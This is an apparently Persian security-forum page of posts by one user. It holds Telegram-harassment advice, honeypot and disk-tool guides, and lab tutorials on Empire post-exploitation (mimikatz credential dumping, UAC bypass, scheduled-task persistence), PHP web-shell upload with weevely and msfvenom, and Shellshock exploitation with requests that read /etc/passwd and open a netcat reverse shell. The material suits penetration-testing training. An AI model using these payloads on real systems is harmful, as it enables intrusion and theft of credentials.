رفتن به مطلب

با توجه به آماده سازی و تامین زیرساخت لازم جهت تبدیل انجمن به یک منبع آموزشی در حوزه امنیت و ارزیابی امنیت، لطفا فایل های خود را در انجمن پیوست نمایید. در غیر این صورت تاپیک شما حذف خواهد شد.

 

Wikto

New Member
  • تعداد ارسال ها

    34
  • تاریخ عضویت

  • آخرین بازدید

  • روز های برد

    1

تمامی مطالب نوشته شده توسط Wikto

  1. Wikto

    پیدا کردن مزاحم در تلگرام

    دوست گرامی سرورهای شبکه های اجتماعی در خارج از کشور می باشد و ردگیری یک پروفایل منوط به دسترسی از سرور مربوطه است اگر شماره طرف مقابل قابل مشاهده باشه شما می تونی با گرفتن اسکرین شات و ضمیمه به پرونده اقدام کنید توجه داشته باشید که اسکرین شات از چت ها صرفا به بالا بردن علم قاضی کمک میکنه و سندیت محکمی برای اثبات مسئله نیست در کل شما با گرفتن اسکرین شات میتونید مانور بهتری تو دادگاه بدین ولی هیچ سندیت و مدرک قابل اثباتی برای قاضی نیست
  2. OWASP Honeypot یک نرم افزار منبع باز در زبان پایتون است که برای ایجاد honeypot و honeynet به شیوه ای آسان و ایمن طراحی شده است! این پروژه با Python 2.x و 3.x سازگار است و بر روی ویندوز، Mac OS X و لینوکس آزمایش شده است. امکانات شبیه ساز (DOCKER / LXC) چند سیستم عامل پشتیبانی پشتیبانی چند نسخه پایتون ماشین مجازی امن فرآیند راه اندازی خودکار CLI / WebUI / API موجود + گزارش زنده پشتیبانی از حملات مبتنی بر وب / شبکه بسته نرم افزاری شبکه (Basic / Advance) مانیتورینگ فعالیت نفوذگران عملیات API و WebUI عملیات API با استفاده از این سوئیچ، سرور API را بدون احراز هویت مورد نیاز آغاز خواهید کرد. برای فعال کردن احراز هویت، api_access_withoutkey را در config.py تنظیم کنید. کلید احراز هویت باید به عنوان کلید پارامتر در هر درخواست ارسال شود (می تواند به عنوان کوکی، GET، POST تنظیم شود). پس از اجرای سرور API، یک WebUI ساده نیز برای استفاده (index.html) موجود است. این نمودار چند گرافیک را با استفاده از API با jQuery و غیره نشان می دهد. تمام پارامترها می توانند در GET، POST یا کوکی نیز ارسال شوند. مقدار پیش فرض مقدار پارامتر 10 است، اگر شما می خواهید آن را به عنوان نامحدود تنظیم کنید، آن را به عنوان 0 تنظیم کنید مقدار پیش فرض پارامتر skip ، 0 است برای پیدا کردن اطلاعات بیشتر، از عملیات API در صفحه ویکی بازدید کنید https://github.com/zdresearch/OWASP-Honeypot/wiki/API استفاده از python ohp.py -start-api-server برای شروع سرور API با پیکربندی پیش فرض. https://github.com/zdresearch/OWASP-Honeypot/blob/master/config.py نصب : sudo apt install libpcap-dev libnet-dev tshark git clone https://github.com/zdresearch/OWASP-Honeypot.git cd OWASP-Honeypot pip install -r requirements.txt استفاده : اگر پایتون ohp.py را اجرا می کنید ، با پیکربندی پیش فرض اجرا می شود در غیر این صورت دستوراتی را که شما وارد می کنید دنبال می کند. m, --select-module- با استفاده از سوئیچ m- می توانید چند مولفه را هم زمان انتخاب کنید مثال : m ftp / weak_password or -m ftp / weak_password، ssh / weak_password- x, --exclude-module- اگر از پیکربندی پیش فرض استفاده می کنید به عنوان مثال : : "default_selected_modules" "ftp / weak_password، ssh / weak_password، http / basic_auth_weak_password" و می خواهید ماژولی را حذف کنید می توانید از xswitch- استفاده کنید s, --vm-storage-limit- این سوئیچ برای محدود کردن ذخیره استوریج استفاده می شود و در حال حاظر کار نمیکند modify/etc/init.d/docker log_begin_msg "Starting $DOCKER_DESC: $BASE" start-stop-daemon --start --background \ --no-close \ --exec "$DOCKERD" \ --pidfile "$DOCKER_SSD_PIDFILE" \ --make-pidfile \ -- \ -p "$DOCKER_PIDFILE" \ $DOCKER_OPTS \ >> "$DOCKER_LOGFILE" 2>&1 log_end_msg $? تغییر به (add --storage-opt dm.basesize = 0.5G) log_begin_msg "Starting $DOCKER_DESC: $BASE" start-stop-daemon --start --background \ --no-close \ --exec "$DOCKERD" --storage-opt dm.basesize=0.5G \ --pidfile "$DOCKER_SSD_PIDFILE" \ --make-pidfile \ -- \ -p "$DOCKER_PIDFILE" \ $DOCKER_OPTS \ >> "$DOCKER_LOGFILE" 2>&1 log_end_msg $? r، --vm-reset-factory-time- برای جلوگیری از زامبی یا بات نت ها می باشد و میتوانید با استفاده از این سوئیچ هر دوره زمانی را ریستارت کنید. ورودی ها بر اساس ثانیه است start-api-server-- با استفاده از این کلید، سرور API را بدون نیاز به احراز هویت آغاز می کنید! برای فعال کردن احراز هویت، api_access_withoutkey را به عنوان Trueدر config.py تنظیم کنید. کلید احراز هویت باید به عنوان کلید پارامتر در هر درخواست ارسال شود (می تواند به عنوان کوکی، GET، POST تنظیم شود). verbose-- برای مشاهده اطلاعات بیشتر در هنگام اجرای OWASP Honeypot disable-colors-- برای غیرفعال کردن رنگ ها در چاپ از این کلید استفاده کنید! h, --help- You know about this! فایل پیکر بندی : پیکربندی چارچوب config.py شامل پیکر بندی پیش فرض framework می باشد #!/usr/bin/env python # -*- coding: utf-8 -*- import random import socket from core._time import hours def api_configuration(): """ API Config (could be modify by user) Returns: a JSON with API configuration """ return { # OWASP Honeypot API Default Configuration "api_host": "127.0.0.1", "api_port": 5000, "api_debug_mode": False, "api_access_without_key": True, "api_access_key": "".join(random.choice("0123456789abcdef") for _ in range(32)), "api_client_white_list": { "enabled": False, "ips": ["127.0.0.1", "10.0.0.1", "192.168.1.1"] }, "api_access_log": { "enabled": False, "filename": "ohp_api_access.log" }, "api_database": "mongodb://127.0.0.1:27017/", # mongodb://user:[email protected]:27017/ "api_database_connection_timeout": 2000, # miliseconds "api_database_name": "ohp_events" } def network_configuration(): """ network configuration Returns: JSON/Dict network configuration """ return { "store_network_captured_files": False, "real_machine_ip_address": socket.gethostbyname(socket.gethostname()) } def docker_configuration(): """ docker configuration Returns: JSON/Dict docker configuration """ return { "virtual_machine_storage_limit": 0.5, # Gigabyte "virtual_machine_container_reset_factory_time_seconds": hours(-1), # -1 is equals to never reset! } def user_configuration(): """ user configuration Returns: JSON/Dict user configuration """ return { "language": "en", "default_selected_modules": "ftp/weak_password,ssh/weak_password,http/basic_auth_weak_password", "default_excluded_modules": None, } پیکربندی ماژول ها پیکربندی گروه lib \ modules \ ftp \ __ init__.py هر دسته (مانند ftp، http، ssh) پیکربندی خاص خود را در __init__.py دارند. #!/usr/bin/env python # -*- coding: utf-8 -*- def category_configuration(): """ category configuration Returns: JSON/Dict category configuration """ return { "virtual_machine_name": "ohp_ftpserver", "virtual_machine_port_number": 21, "virtual_machine_internet_access": True, "real_machine_port_number": 21 } پیکربندی ماژول lib \ modules \ ftp \ weak_password \ __ init__.py هر ماژول (مثلا ftp / weak_password) پیکربندی خاص خود را در __init__.py دارند. #!/usr/bin/env python # -*- coding: utf-8 -*- def module_configuration(): """ module configuration Returns: JSON/Dict module configuration """ return { "username": "admin", "password": "admin" } استفاده از ماژول چند گانه در یک گروه برای استفاده از چندین ماژول در رده های یکسان و جلوگیری از درگیری پورت ها باید real_machine_port_number را به ماژول اضافه کنید می توانید پیکربندی هر رده را با اضافه کردن کلید به پیکربندی ماژول جایگزین کنید. #!/usr/bin/env python # -*- coding: utf-8 -*- def module_configuration(): """ module configuration Returns: JSON/Dict module configuration """ return { "username": "admin", "password": "admin", "virtual_machine_port_number": 21 # you can add anything in here to avoid the default category configuration # "virtual_machine_internet_access": False } ( کپی با ذکر منبع )
  3. diskover-web یک ابزار تحت وب منبع باز جهت استفاده از فضای دیسک ، تجزیه و تحلیل ذخیره سازی و موتور جستجوی فایل برای diskover در سطوح شبکه می باشد هدف از طراحی این ابزار این است که به شما کمک کند بتوانید به سرعت در سرورهای ذخیره سازی خود با استفاده از شاخص های diskover Elasticsearch جستجو کنید. با diskover-web، می توانید فایل های سیستم را از diskover crawls مشاهده کرده و بینش بهتری از داده های خود با توجه به مشاهده تجزیه و تحلیل استفاده دقیق از دیسک و از فایل های سیستمی داشته باشید . diskover-web همچنین از برچسب گذاری فایل و دایرکتوری پشتیبانی می کند. فایل ها و دایرکتوری ها می توانند برای نگهداری، بایگانی یا حذف یا با برچسب های سفارشی برچسب گذاری شوند و از آنجا می توانید از diskover-web API برای دسترسی و استفاده از اطلاعات مربوط به هر داده ای که مایل به انجام آن هستید، استفاده کنید. با "smartsearches" در diskover-web می توانید پرس و جو در ES ایجاد کنید و این نمایش ها را با استفاده از analytics smartsearch تجسم کنید . این پرس و جوها می تواند شامل برخی از پرس و جو جستجو های رایج مانند فایل های تصویری، صوتی، ویدئو، اسناد و غیره باشد diskover-web اجازه می دهد تا لیست فایل ها را به json / csv منتقل شود ، همچنین diskover-web REST API می تواند در روال کاری یکپارچه شود و برای مشاهده یا به روز رسانی داده ها مانند برچسب ها، در شاخص های diskover استفاده شود. این ابزار در HTML5، CSS3، PHP، Javascript، jQuery، Bootstrap و D3.js نوشته شده است. راهنمای نصب : الزامات : Linux or OS X/MacOS (tested on Ubuntu 16.04/18.04, OS X 10.11.6) PHP 7 (tested on PHP 7.1.10, 7.2.5) Composer Dependency Manager for PHP (install composer with apt or yum) PHP client for Elasticsearch (elasticsearch-php, tested on 5.3.2, installed when running composer install) php-curl (install with apt or yum, if you are running php7.1 or php7.2 install php7.x-curl) Elasticsearch 5 (tested on Elasticsearch 5.6.9) Elasticsearch 6 not supported yet. Apache or Nginx (if you don't want to use PHP built-in web server) diskover (Elasticsearch index created by diskover) دانلود : $ git clone https://github.com/shirosaidev/diskover-web.git $ cd diskover-web نصب وابستگی های برنامه : $ cd diskover-web $ composer install راهنمای نصب - با استفاده از docker compose می توانید از docker-compose برای تست و اجرای diskover-web استفاده کنید. docker-compose نیز شامل Elasticsearch و Redis است تا امکان ایجاد یک محیط تست کامل برای دیسکور فراهم شود. طرح زیر از Apache2 به عنوان وب سرور استفاده می کند که اجازه می دهد diskover-web برای دریافت درخواست های بیشتری به صورت موازی از سرور توسعه یافته پی اچ پی استفاده کند . الزامات : Docker 1.13+ Docker-compose 1.16.1+ اجرا کردن : $ docker-compose build && docker-compose up خدمات در پورت زیر در localhost نمایش داده می شود : ( کپی با ذکر منبع )
  4. ماژول HTTP listener را با windows startup تنظیم می کنیم Command: set OnLogon True Command: set Listener http Command: execute ( کپی فقط با ذکر منبع )
  5. برای دیدن همه agents موجود ، "agent" را تایپ کنید که همه agent ها را با تمام جزئیات مانند نام عامل (نام تصادفی تولید شده) ، IP داخلی ، نام ماشین ، نام کاربری و فرآیند و غیره لیست می کند . همچنین می توانید این عامل ایجاد شده جدید را با تایپ کردن "<rename <oldagent name> <newagent name" به صورت زیر تغییر دهید : بنابراین نام agent جدید ما "YeahWin7" است (شما می توانید هر نام انتخابی خود را استفاده کنید). برا دیدن جزئیات بیشتر سیستم عامل هدف از عبارت Info استفاده میکنیم در اینجا باید توجه داشته باشید که مقدار high_integrity این عامل 0 است البته بدین معنی نیست که شما نمی توانید تمام دستورات اداری را اجرا کنید. برای بالا بردن سطح دسترسی ، شما باید یک ماژول دیگر "bypassuac http" را اجرا کنید که تمام محدودیت ها را دور بزند. حالا به عقب بر گردید و “list”را تایپ کنید تا همه agents را دوباره ببینید . مشاهده می کنید که یک عامل جدید دوباره با نام تصادفی ایجاد می شود. همان گام را تکرار کنید تا این عامل تازه ایجاد شده را تغییر نام دهید اکنون دستور "info" را برای دیدن همه اطلاعات لازم مشاهده کنید و می توانید ببینید که مقدار high_integrity برابر با 1 است، یعنی شما اکنون Super Administrator هستید. برداشت گواهی "creds" را برای بازیابی تمام کلمات عبور متن ساده بر روی دستگاه مورد نظر خود تایپ کنید . اما مشاهده می کنید که خالی است . زمان برای اجرای "mimikatz" برای استخراج تمامی اعتبارها در قالب متن روشن است Mimikatz یکی از ابزارهای شناخته شده برای استخراج کلمات عبور متن ساده، هش، پین کد و kerberos Kerberos از حافظه است . اکنون برای مشاهده همه dumpe dcredentials از دستور “creds” استفاده کنید در مرحله اول استفاده از Post در حال انجام است ، اما شما می توانید بسیاری از چیزهای دیگر را با Empire انجام دهید. “help” را تایپ کنید تا همه گزینه های موجود را مشاهده کنید. Persistence Backdooring یک گزینه خوب برای ایجاد Persistence Backdooring در دستگاه هدف شما هست بنابراین برای ایجاد یک Persistence Backdooring از ماژول schtasks در Empire استفاده می کنیم. Command: usemodule persistence/elevated/schtasks* ابزار Schtasks.exe یک رابط خط فرمان است که اجازه می دهد تا یک رابط Admin برای ایجاد ، حذف ، پرس و جو ، تغییر ، اجر ا، و پایان کارهای برنامه ریزی شده در یک سیستم محلی و یا از راه دور از طریق شل خط فرمان ایجاد گردد . ادامه دارد ... ( کپی فقط با ذکر منبع )
  6. Post Exploitation اساسا به معنای مراحل عملیاتی است که یک مهاجم روی سیستم قربانی انجام می دهد و ارزش داده های سیستم به خطر می افتد در یک عملیات exploitation بیشترین نیازی که مورد توجه یک مهاجم قرار میگیرد فاز بعدی بهره برداری است . Post Exploitation همیشه یک جزء حیاتی در هر آزمایش نفوذ است و می تواند سیستم ها و زیر ساخت های حیاتی را شناسایی کند و اطلاعات یا داده هایی را که در سازمان مربوطه بسیار حیاتی است بدست آورد . نفوذ گران غیر مجاز هنگامی که یک سیستم را اکسپلویت می کنند بیشترین سعی آنها طراحی حملاتی است که بیشترین تاثیر تجاری را داشته باشد . Post Exploitatio یکی از آن سناریو های پیچیده مبتنی بر زمان است که در آن باید زمان را در نظر بگیرید به نحوی که بدانید در چه زمانی چه اطلاعاتی در دسترس هست و سپس بتوانید از آن اطلاعات استفاده کنید باید توجه داشته باشید که ممکن است زمان زیادی را صرف کنید Empire یک چارچوب Post Exploitation است که شامل PowerShell2.0 در ویندوز و Python 2.6 / 2.7 در لینوکس / OS X این چارچوب ، ارتباطات رمزنگاری امن و یک معماری انعطاف پذیر را ارائه می دهد. در سمت PowerShell ، Empire توانایی اجرای عوامل PowerShell را بدون نیاز به powerhell.exe دارد ماژول های پویای قابل انعطاف از loggers اصلی تا Mimikatz تشکیل شده اند و ارتباطات سازگاری برای فرار از تشخیص در شبکه دارند که همه در یک چارچوب متمرکز قابل استفاده هستند . ابزار Empire را می توان با کمک دستور git با تایپ کردن دستور زیر انجام داد : Command: git clone https://github.com/EmpireProject/Empire.git نصب و راه اندازی به دایرکتوری نصب (cd setup/) بروید و مجوزهای اجرایی را به فایل installer با تایپ «chmod + x install.sh» بدهید و سپس نصب install.sh/. را اجرا کنید همانطور که در زیر نشان داده شده است : فرآیند نصب بین 2 تا 5 دقیقه طول می کشد البته بسته به سرعت اینترنت شما نیز دارد دارد. بعد از مدتی، نصب کننده از شما می خواهد که رمز عبور مذاکره را وارد کنید یا می توانید دکمه اینتر را وارد کنید تا رمز عبور تصادفی برای این مورد ایجاد شود به محض ورود به سیستم، نصب شما کامل می شود و هر دو گواهی و کلید خصوصی به دایرکتوری data/ داده شده است. به دایرکتوری Empire بروید و با تایپ “chmod +x empire” مجوز های اجرایی را صادر کنید و سپس empire/. را اجرا کنید در زیر صفحه نمایش خوش آمدید پروژهEmpire است که به وضوح نشان می دهد 285 ماژول وجود دارد که شامل listeners, agents, mimikatz و غیره می باشد برای دیدن ماژول های موجود [usemodule [tab را تایپ کنید . برای جستجوی نام و توضیحات ماژول، از module search و privesc استفاده کنید که نام و توضیحات ماژول مطابق با آن خروجی خواهد بود. اولین کاری که باید انجام دهید اینست که یک شنونده محلی (local listener) ایجاد کنید. دستور listeners شما را به منوی listener management هدایت می کند listeners های فعال نمایش داده خواهد شد ، و این اطلاعات را می توان در هر زمان با دستور لیست دوباره نمایش داده شود . فرمان uselistener به شما این امکان را می دهد که نوع شنونده را انتخاب کنید . بعد از این فرمان، کلیک بر روی TAB همه نوع شنونده موجود را نشان می دهد . بنابراین در این مورد ، از ماژول HTTP listener استفاده میکنیم که شما می توانید با تایپ "uselistener http" و سپس تایپ "execute" برای اجرا استفاده کنید. اما به نظر می رسد که پورت 80 شما در جای دیگر است بنابراین شما نیاز به kill کردن خدمات فعال در حال اجرا در پورت 80 را دارید . از دستور زیر استفاده کنید Command: sudo kill `sudo lsof -t -i:80 ماژول شنونده را با تایپ “execute” اجرا می کند و اکنون شنونده شما با موفقیت شروع به کار می کند. برای مشاهده تمام شنوندگان فعال ، از فرمان “listeners“ استفاده کنید . در گام بعدی با استفاده از launcher با تایپ کردن “launcher powershell http” یک اسکریپت powershell ایجاد کنید دستور بالا یک اسکریپت powershell است که شما باید از روش های مختلف در سیستم مقصد هدف خود اجرا کنید (با استفاده از Meterpreter یا از طریق RDP ) در این جا ، ما از ابزار rdesktop برای به دست آوردن دسترسی دسک تاپ از راه دور ویندوز 7 استفاده می کنیم . Command: rdesktop -u <username> -p <password> <Target IP> در سمت ویندوز CMD را باز کنید و کل اسکریپت PowerShell را به صورت زیر نشان دهید : به Empire Terminal بروید ، خواهید دید که یک agent فعال جدید راه اندازی خواهد شد . ادامه دارد ... ( کپی فقط با ذکر منبع )
  7. همانطور که همه می دانید کنترل فایل آپلود همیشه در معرض خطر برای توسعه دهندگان است زیرا N تعداد راه هایی برای دور زدن این کنترل وجود دارد و مهاجم می تواند به راحتی هر فایل مخرب را به سرور آپلود کند. هنگامی که فایل مخرب به سرور آپلود می شود، مهاجم به راحتی می تواند کنترل کل سرور را به دست آورد. برای توصیف کل فرآیند، این آموزش را به 4 قسمت تقسیم کردیم : تولید Shell PHP - Backdoor آپلود Shell به دست آوردن دسترسی پیشگیری از آپلود فایل 1. تولید Shell PHP - Backdoor اولین گام این است که در آن شما نیاز به ایجاد یک فایل PHP مخرب به نام shell دارید که باید از طریق کنترل آپلود فایل به یک وب سایت آپلود کنید . در اینترنت می توانید تعداد زیادی backdoor shells را پیدا کنید، اما PHP backdoor shell که آموزش می دهیم به شما کنترل سرور هدف را می دهد . اندازه شل مورد نظر ما Weevely shell کمتر از Kbs است ، به این معنی که شما می توانید آن را به هر جایی آپلود کنید و به راحتی می توانید از هر ورودی محدود شده با سایز ، عبور کنید Weevely به طور حیرت انگیز همیشه با یک عبارت کلیدی payload را رمزگذاری می کند به عبارتی فرد دیگری نمی تواند از آن برای دسترسی به سیستم هدف استفاده کند یا آن را هک کند. برای ایجاد shell از دستور زیر استفاده کنید Command: weevely generate <password> <path> علاوه بر این، شما همچنین می توانید یک payload با msfvenom ایجاد کنید که یک پیوند متنی پیکربندی PHP را ایجاد می کند. Msfvenom ابزار اصلی در چارچوب Metasploit برای ایجاد یا کدگذاری payload های مختلف است. برای تولید payload با استفاده از Msfvenom، دستور زیر را تایپ کنید: Command: msfvenom -p php/meterpreter/bind_tcp LPORT=4444 LHOST=192.168.169.137 > /root/shell1.php 2. Shell را آپلود کنید پس از ایجاد Shell با هر دو روش (Weevely و Msfvenom)، مرحله بعدی آپلود فایل مخرب (shell.php و shell1.php) به یک سرور است . ما توصیه نمی کنیم آن را با وب سایت های زنده آزمایش کنید ، اما می توانید از یک نرم افزار وب آسیب پذیر به نام (DVWA (Damm Vulnerable Web Application استفاده کنید که یک پروژه وب آسیب پذیر است . پیدا کردن برنامه های کاربردی آسیب پذیر پی اچ پی از اینترنت کار دشواری نیست ، شما می توانید به سادگی از برخی از Google Dorks مانند (inurl: page.php؟ id =) یا (inurl: page.php؟ id =) یا (inurl: adminlogin.aspx) استفاده کنید و همچنین می توانید از روش تزریق SQL بهره ببرید . بنابراین ما این برنامه DVWA را در یک ماشین مجازی ویندوز 10 که XAMPP در آن نصب است با لینک http://192.168.1.3/dvwa/index.php میزبانی می کنیم نام کاربری و رمز عبور پیش فرض: ( admin و password ) یک صفحه آپلود فایل پیدا کنید که در آن بتوانید یک فایل تصویری آپلود کنید در برخی موارد، با استفاده از جاوا اسکریپت، در سمت سرویس گیرنده ممکن است برخی از اعتبار سنجی ها وجود داشته باشد ، اما می توان آنها را با متوقف کردن و دستکاری درخواست و آپلود فایل با نام "shell.php.jpeg" به راحتی با Burp Suite کنار گذاشت. بنابراین، با توجه به موارد فوق، ما هر دو Shell مخرب را در سرور (shell.php و shell1.php) قرار دادیم. 3. به دست آوردن دسترسی این مرحله آخرین مرحله ای است که ما باید با اجرای دستور زیر، یک ارتباط دائمی با آن سرور برقرار کنیم: Command: weevely http://<your -target>/shell.php <password> اگر همه چیز درست باشد و Shell با موفقیت بر روی سرور اجرا شود ، می توانید prompt را دریافت کنید که در زیر نشان داده شده است در صورت استفاده از Metasploit، فقط یک handler payload را راه اندازی کنید که اجرای آن را می توانید در مثال زیر ببینید Commands: use exploit/multi/handler set payload php/meterpreter/bind_tcp set RHOST <target-ip> set RPORT 4444 run به محض این که فایل از طریق مرورگر وب اجرا شود یک جلسه Meterpreter باز خواهد شد . درصورت باز بودن صفحه مرورگر “loading” دسترسی حفظ خواهد شد ، اما اکنون شما نیاز به دسترسی کامل به دستگاه دارید برای همین می توانید خروجی شبیه به این را ببینید: سپس از طریق کنسول Meterpreter می توانید Shell خط فرمان را بر روی دستگاه قربانی اجرا کنید : 4. پیشگیری از آپلود فایل سیستم های مدیریت محتوا به مدیران اجازه می دهد تا تصاویر مختلف را برای پست های متفاوت آپلود کنند و سایت های مدیریت وب سایت از آپلود ها استفاده کنند تا کاربران بتوانند فایل های خود را ویرایش و اضافه کنند اکثر نفوذگران به راحتی این مسئله را درک می کنند و در مدت زمان کوتاهی با استفاده از آموزش ها، مراجع، کتاب ها و انجمن های مختلف قادر به تولید یک اسکریپت هستند در اینجا در صورت آپلود فایل، برخی از کنترل های امنیتی بررسی می شود : یک ویژگی اضافی در فیلد آپلود فایل در یک فرم باید به تگ فرم اضافه شود : enctype = "multipart / form" این تگ به مرورگر می گوید علاوه بر متن استاندارد ، یک فایل ممکن است با فرم ارسال شود . متد فرم همیشه باید POST باشد و از متد GET برای ارسال فایل استفاده نشود . همیشه یک یادآوری بر روی فرم خود داشته باشید که به کاربران بگوید فقط باید فایلهای خاصی را که مثلا در زیر اندازه 10 کیلوبایت هستند آپلود کنند. علاوه بر این، اساسا 3 مورد چک وجود دارد که باید بر روی فایل ورودی انجام شود : - همیشه یک فایل آپلود شود - فایل مورد نظر تحت یک اندازه خاصی مشخص شود - نوع و فرمت فایل همانی باشد که مدد نظر شماست برخی از پیام های خطای کاربر پسند را برای نشان دادن به کاربر در صورت خطا ایجاد کنید. برای تشخیص نوع فایل امن، همیشه از $ ['HTTP_POST_FILES ['file'] ['type متغیر استفاده کنید اگر آپلود ناموفق بود، صفحه باید دوباره نمایش داده شود. علاوه بر کنترل اعتبار اندازه فایل از طرف سرور ، می توانید حداکثر اندازه فایل را با استفاده از یک فیلد پنهان در فرم مشخص کنید که قبل از فیلد آپلود فایل نمایش داده شود: <input type=”hidden” name=”MAX_FILE_SIZE” value=”1000″> متغیر مخفی MAX_FILE_SIZE نشان دهنده حداکثر اندازه فایل (در بایت) است که مرورگر باید اجازه دهد. همانطور که با هر محدودیت سمت سرویس گیرنده، به راحتی توسط مهاجم شکست می خورد اما می تواند به عنوان یک راهنما جهت نفوذ برای کاربران قانونی خود عمل کند . محدودیت باید بر روی سرور اجرا شود تا قابل اطمینان باشد . پس از آپلود فایل به مکان نهایی ، فایل موقت باید با استفاده از تابع () unlink مسدود شود . جلوگیری از دسترسی مستقیم به فایلهای آپلود شده (خارج از ریشه) دسترسی به وب با استفاده از فایل htaccess (برای سرور Apache) هنگام اجرای یک تابع آپلود فایل، مواردی وجود دارد که باید بدانید : 1. Denial of service انکار سرویس کاربران ممکن است قادر به آپلود بسیاری از فایل های بزرگ و مصرف تمام فضای دیسک در دسترس شوند از این رو طراح برنامه ممکن است بخواهد محدودیتی در اندازه و تعداد فایل هایی که یک کاربر می تواند در یک دوره مشخص بارگذاری کند ، اجرا کند. 2. Performance عملکرد بیننده فایل ممکن است در مشاهده فایل های آپلود اغلب دچار مشکل شود و ما نیاز داریم تا آپلود فایل ها به سرعت انجام شود از این رو جهت بهبود عملکرد و روش جایگزین برای این مشکلات ، راه اندازی یک وب سرور دوم در میزبان دیگری است که کپی کردن فایل های آپلود شده به سرور دوم واگذار شود و به طور مستقیم از آن سرور خدمات فوق گرفته شود سرور دوم بایستی ایستا باشد ، به این ترتیب باید فقط فایل های مورد نظر را بپذیرد و آن را به عنوان یک فایل ذخیره شده قبول کند بدون اینکه آنها را به عنوان PHP یا هر نوع دیگر از فایل های اجرایی اجرا کند . یک رویکرد دیگر برای بهبود عملکرد در تصاویر، داشتن یک پروکسی ذخیره سازی در مقابل سرور و اطمینان از اینکه فایل ها قابل ذخیره سازی است 3. Access control کنترل دسترسی ما همیشه فرض می کنیم که هر کاربری می تواند هر یک از فایل های آپلود شده را مشاهده کند. بعضی از برنامه ها ممکن است نیاز داشته باشند که فقط کاربری که فایل را آپلود کرده بتواند آن را ببیند. در این مورد، جدول آپلود باید حاوی اطلاعاتی درباره مالکیت فایل باشد و اسکریپت مشاهده باید بررسی کند که آیا کاربر درخواست کننده پرونده مالک آن است یا نه. نتیجه پژوهش : یک برنامه نویس یا توسعه دهنده باید مراقب باشد که برنامه را برای حمله قرار ندهد . در بدترین حالت، بارگذاری فایل های مخرب اجرایی همیشه باعث آسیب پذیری های جدی می شود. مهمترین مسئله در مورد حفاظت این است که آپلود فایلها را در جایی قرار دهند که کاربران نتوانند به طور مستقیم از طریق URL دسترسی پیدا کنند . این عملیات را می توان با ذخیره فایل های آپلود شده خارج از ریشه وب یا پیکربندی وب سرور برای رد دسترسی به دایرکتوری آپلود انجام داد . یکی دیگر از اقدامات امنیتی مهم، استفاده از نام فایل های تولید شده سیستم به جای اسامی ارائه شده توسط کاربران هنگام ذخیره فایل ها در سیستم فایل است . این امر باعث جلوگیری از حملات درون فایل محلی می شود . توجه داشته باشید امکان ایجاد فایل هایی که تصاویر و اسکریپت های پی اچ پی هستند در همان زمان امکان پذیر است بنابراین بررسی نام فایل های آپلود شده، امنیت خوبی را فراهم نمی کند به ویژه برای برنامه های کاربردی که می تواند در طیف گسترده ای از سیستم عامل ها و تنظیمات سرور اعمال شود با این وجود امکان آپلود فایل را به صورت ایمن اجرا می کند و در عین حال عملکرد لازم را نیز ارائه می دهد ( کپی فقط با ذکر منبع )
  8. ICMP بخش بسیار مهمی از ارتباط بین میزبان ها در شبکه های IP است. ICMP با استفاده از روترها و مراحل پایانی (مشتریان و سرورها) شرایط خطا در شبکه را بیان می کند و وسیله ای برای نقاط انتهایی برای دریافت اطلاعات در مورد مسیر شبکه یا اتصال درخواست شده است. این بار، ما دستورات سیستم را با (؛) semicolon ترکیب کردیم که در زیر نشان داده شده است: GET /cgi-bin/status HTTP/1.1 Host: 192.168.169.139 User-Agent: () { :; }; /bin/bash -c ‘ping -c 3 192.168.169.137; id; cat /etc/passwd’ Accept: text/html, application/xhtml-xml, application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 همانطور که می بینید، ما در اینجا می توانیم آسیب های زیادی را وارد کنیم . بیایید reverse shell بگیریم شروع netcat و گوش دادن در پورت 1337 با تایپ "nc -lvp 1337" برای گرفتن reverse shel از درخواست زیر استفاده کنید. GET /cgi-bin/status HTTP/1.1 Host: 192.168.169.139 User-Agent: () { :; }; /bin/bash -c ‘nc 192.168.169.137 1337 -e /bin/sh’ Accept: text/html, application/xhtml-xml, application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 همانطور که درخواست را ارسال می کنید، هیچ چیز را برای نمایش در پنجره پاسخ نخواهید داشت اما به طور خودکار به netcat در همان شماره پورت 1337 وصل می شوید از آنجا که هدف خاصی در چالش کنونی ما وجود ندارد (بدون پرچم) و هدف خاصی را دنبال نمیکنیم ، فقط سعی کنید یک دسترسی ریشه را با تایپ دستور "sudo -s" دریافت کنید. ( کپی فقط با ذکر منبع )
  9. این آموزش یک آزمایشگاه تست نفوذ برای تولید و نشان دادن نحوه بهره برداری از آسیب پذیری ShellShock می باشد دانلود آسیب پذیر : https://www.pentesterlab.com/exercises/cve-2014-6271 اندازه: 19 مگابایت نوع سیستم عامل: لینوکس یک نقص در سمت Bash مورد ارزیابی برخی از متغیرهای محیطی خاص قرار گرفته است . یک مهاجم می تواند از این نقص برای رفع محدودیت های محیطی یا رفع محدودیت ها برای اجرای دستورات Shell استفاده کند که ما قبلا shellshock را با چارچوب Metasploit مورد سوء استفاده قرار دادیم. Shellshock به نام Bashdoor نیز شناخته می شود ، یک باگ امنیتی امنیتی در Unix Bash shell است که اولین مورد آن در 24 سپتامبر 2014 منتشر شد. بسیاری از سرویس های اینترنتی مانند بعضی از سرویس دهندگان وب، از Bash برای پردازش استفاده می کنند این درخواست، به مهاجم این اجازه را می دهد برای اجرای دستورات دلخواه به ایجاد نسخه های آسیب پذیر از Bash اقدام کند و مهاجم بتواند دسترسی غیرمجاز به سیستم کامپیوتری را به دست آورد . مرحله 1 – فایل ISO فوق را دانلود کنید و در Vmware Workstation نصب کنید در اینجا ما از کالی لینوکس (192.168.169.137) به عنوان یک مهاجم (همیشه) استفاده میکنیم و سعی میکنیم از طریق مرورگر (192.168.169.139) به IP Pentesterlab دسترسی پیدا کنیم که به صورت زیر است: درخواست را با استفاده از Intercept متوقف کنید و آن را به تب Spider بفرستید Burp Spider یک ابزار خودکار خزیدن (crawling) برای برنامه های کاربردی وب است در حالی که معمولا فرایند های دستی زمان زیادی را از شما می گیرد می توانید از Burp Spider به طور خودکار برای برنامه های بسیار بزرگ و با زمان کمتری از این این فرایند استفاده کنید. Burp Spider از تکنیک های مختلف برای خزیدن در محتوای برنامه استفاده می کند و به طور پیش فرض تمام پیوندها در دامنه را دنبال می کند ، فرم ها را با داده های ساختگی ارسال می کند و درخواست های بیشتری را (برای robots.txt، ریشه های دایرکتوری و ...) می سازد . در برخی 